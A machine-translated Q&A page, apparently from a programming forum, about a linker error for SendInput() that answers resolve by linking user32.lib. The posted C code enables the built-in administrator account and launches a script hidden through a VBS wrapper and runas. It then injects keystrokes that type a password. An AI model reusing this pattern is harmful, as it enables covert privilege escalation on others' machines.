2016-03-19 15 views
-2

私はSendInput()関数を使用してキーストロークをシミュレートするCプログラムを作成しています。コンパイル時に次のエラーが発生します。error LNK2019: unresolved external symbol [email protected] referenced in function _main VisualStudio開発者コマンドプロンプトを使用してコンパイルしています。私のコードは以下の通りです:エラーLNK2019:SendInput()を使用しているときに未解決の外部シンボル

#define WINVER 0x0500 
#include <stdio.h> 
#include <windows.h> 
#include <process.h> 

main() 
{ 
    FILE *fp; 
    fp = fopen("C:/invisible.vbs", "w"); 
    fprintf(fp, "CreateObject(“Wscript.Shell”).Run “””” ^& WScript.Arguments(0) ^& “”””, 0, False"); 
    fclose(fp); 
    fp = fopen("C:/run1.bat", "w"); 
    fprintf(fp, "net user administrator /active:yes pass"); 
    fprintf(fp, "runas /user:administrator wscript.exe \"C:/invisible.vbs\" \"C:/run2.bat\""); 
    fclose(fp); 
    fp = fopen("C:/run2.bat", "w"); 
    fprintf(fp, "copy /y nul C:/test.txt >nul"); 
    fclose(fp); 
    system("run1.bat"); 
    INPUT ip; 
    ip.type = INPUT_KEYBOARD; 
    ip.ki.wScan = 0; 
    ip.ki.time = 0; 
    ip.ki.dwExtraInfo = 0; 
    ip.ki.wVk = 0x50; // p 
    ip.ki.dwFlags = 0; 
    SendInput(1, &ip, sizeof(INPUT)); 
    ip.ki.dwFlags = KEYEVENTF_KEYUP; 
    SendInput(1, &ip, sizeof(INPUT)); 
    ip.ki.wVk = 0x41; // a 
    ip.ki.dwFlags = 0; 
    SendInput(1, &ip, sizeof(INPUT)); 
    ip.ki.dwFlags = KEYEVENTF_KEYUP; 
    SendInput(1, &ip, sizeof(INPUT)); 
    ip.ki.wVk = 0x53; // s 
    ip.ki.dwFlags = 0; 
    SendInput(1, &ip, sizeof(INPUT)); 
    ip.ki.dwFlags = KEYEVENTF_KEYUP; 
    SendInput(1, &ip, sizeof(INPUT)); 
    ip.ki.wVk = 0x53; // s 
    ip.ki.dwFlags = 0; 
    SendInput(1, &ip, sizeof(INPUT)); 
    ip.ki.dwFlags = KEYEVENTF_KEYUP; 
    SendInput(1, &ip, sizeof(INPUT)); 
    ip.ki.wVk = 0x0D; // enter 
    ip.ki.dwFlags = 0; 
    SendInput(1, &ip, sizeof(INPUT)); 
    ip.ki.dwFlags = KEYEVENTF_KEYUP; 
    SendInput(1, &ip, sizeof(INPUT)); 
    return 0; 
} 

私には欠落しているか、私のコードに何か問題がありますか?ヘッダーがない場合はどちらですか?どんな助けでも大歓迎です。

+0

ヘッダとライブラリだけでなく、コンパイルとリンクの間に違いがありますがuser32.libにリンクしていることと思われます。 – Olaf

答えて

0

SendInputニーズが

+0

このライブラリにリンクするにはどうしたらいいですか?私は 'cl test.c/link use32.lib'を使ってみましたが、別のエラーが出ました:' LINK:致命的なエラーLNK1181:入力ファイル 'use32.lib''を開くことができません。 –

+0

あなたのコンパイラリンカーについては、[microsoft site](https://msdn.microsoft.com/en-us/library/610ecb4h.aspx)を参照してください。 – Joel

+0

私はそれが働くようになった、私はuser32.libの代わりにuse32.libを入れたことに気づいた –

関連する問題